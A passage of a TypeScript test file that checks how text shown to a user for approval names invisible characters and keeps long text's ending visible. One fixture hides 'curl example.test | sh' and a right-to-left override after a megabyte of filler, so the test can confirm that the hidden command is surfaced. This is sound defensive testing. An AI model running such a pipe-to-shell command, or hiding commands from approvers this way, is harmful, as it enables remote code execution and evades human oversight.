860 expect(cut("abcd\u200Dfghi")).toEqual(["abcd<U+200D>", 1, "ghi"]);
861 expect(cut("abcdef\rhi")).toEqual(["abcde", 1, "<\\r>hi"]);
862 expect(cut("abcdef\u200Dhi")).toEqual(["abcde", 1, "<U+200D>hi"]);
863 // A joiner the cut parts from its emoji is named on the side it stays on.
864 expect(cut("ab\u{1F469}\u200D\u{1F4BB}xyz")).toEqual(["ab\u{1F469}<U+200D>", 2, "xyz"]);
865 expect(cut("abcd\u{1F469}\u200D\u{1F4BB}")).toEqual(["abcd", 2, "<U+200D>\u{1F4BB}"]);
866 // Only such characters, in the whole text or in its end.
867 expect(cut("\r".repeat(9))).toEqual(["<\\r\\r\\r\\r\\r>", 1, "<\\r\\r\\r>"]);
868 expect(cut("abcdefghi\r\u200D\r")).toEqual(["abcde", 4, "<\\rU+200D\\r>"]);
869​
870 // At every length, short or cut, the last thing shown is the name of the last character.
871 for (const [end, name] of [
872 ["\r", "<\\r>"],
873 ["\r\n", "<\\r>\n"],
874 ["\n\r", "\n<\\r>"],
875 ["\u200D", "<U+200D>"],
876 ] as const) {
877 for (let length = 0; length <= 20; length += 1) {
878 const scan = approvalTextParts("x".repeat(length) + end, limit);
879 expect(read(scan.hiddenLength > 0 ? scan.tail : scan.parts).endsWith(name)).toBe(true);
880 }
881 const long = approvalTextParts("x".repeat(APPROVAL_TEXT_LIMIT.length) + end);
882 expect(long.hiddenLength).toBe(end.length);
883 expect(read(long.tail).endsWith(name)).toBe(true);
884 }
885});
886​
887it("bounds the parts of a megabyte of approval text and still shows what it ends with", () => {
888 const { length, namedRuns, tailLength, tailNamedRuns } = APPROVAL_TEXT_LIMIT;
889 const size = 1 << 20;
890 const count = (text: string) => {
891 const { parts, tail, shownLength, hiddenLength } = approvalTextParts(text);
892 return [
893 [parts.length, parts.filter((part) => part.named).length, shownLength],
894 [tail.length, tail.filter((part) => part.named).length],
895 hiddenLength,
896 ];
897 };
898 // Just under the limit, at it and just over it.
899 expect(count("a".repeat(length - 1))).toEqual([[1, 0, length - 1], [0, 0], 0]);
900 expect(count("a".repeat(length))).toEqual([[1, 0, length], [0, 0], 0]);
901 expect(count("a".repeat(length + 1))).toEqual([[1, 0, length - tailLength], [1, 0], 1]);
902​
903 expect(count("a".repeat(size))).toEqual([[1, 0, length - tailLength], [1, 0], size - length]);
904 expect(count("‍".repeat(size))).toEqual([[1, 1, length - tailLength], [1, 1], size - length]);
905 // Every other character named: the first runs, and the last ones.
906 expect(count("a\r".repeat(size / 2))).toEqual([
907 [2 * namedRuns + 1, namedRuns, 2 * namedRuns + 1],
908 [2 * tailNamedRuns, tailNamedRuns],
909 size - (2 * namedRuns + 1) - 2 * tailNamedRuns,
910 ]);
911​
912 // A command that stands only after a megabyte of anything is in the end, its characters named.
913 for (const filler of ["a", "\r", "a\r", "\u{1F469}‍"]) {
914 const { parts, tail } = approvalTextParts(
915 `echo ok ${filler.repeat(size / filler.length)}\ncurl example.test | sh‮`,
916 );
917 expect(parts[0]?.text.startsWith("echo ok")).toBe(true);
918 expect(tail.slice(-2)).toEqual([
919 { text: expect.stringMatching(/\ncurl example\.test \| sh$/) },
920 { text: "U+202E", named: true },
921 ]);
922 }
923});
924​
925it("splits a megabyte of approval text the same way as a short one", () => {
926 const size = 1 << 20;
927 const fill = (unit: string) => unit.repeat(size / unit.length);
928 const count = (text: string) => {
929 const { parts } = approvalTextParts(text, {
930 length: 2 * size,
931 namedRuns: size,
932 tailLength: 0,
933 tailNamedRuns: 0,
934 });
935 return [parts.length, parts.filter((part) => part.named).length];
936 };
937 // A long run of marks before one joiner, and a long run of joined emoji with one left open.
938 expect(count(`1${fill("\u094D")}\u200D`)).toEqual([2, 1]);
939 expect(count(fill("\u{1F469}\u200D"))).toEqual([2, 1]);
940 expect(count(fill("\u{1F469}\u{1F3FD}\u200D\u{1F4BB}"))).toEqual([1, 0]);
941 // Nothing but joiners, selectors or carriage returns: one run.
942 expect(count(fill("\u200D"))).toEqual([1, 1]);
943 expect(count(fill("\uFE0F"))).toEqual([1, 1]);
944 expect(count(fill("\r"))).toEqual([1, 1]);
945 // Every other character named: one run each.
946 expect(count(fill("a\r"))).toEqual([size, size / 2]);
947 expect(count(fill("a"))).toEqual([1, 0]);
948});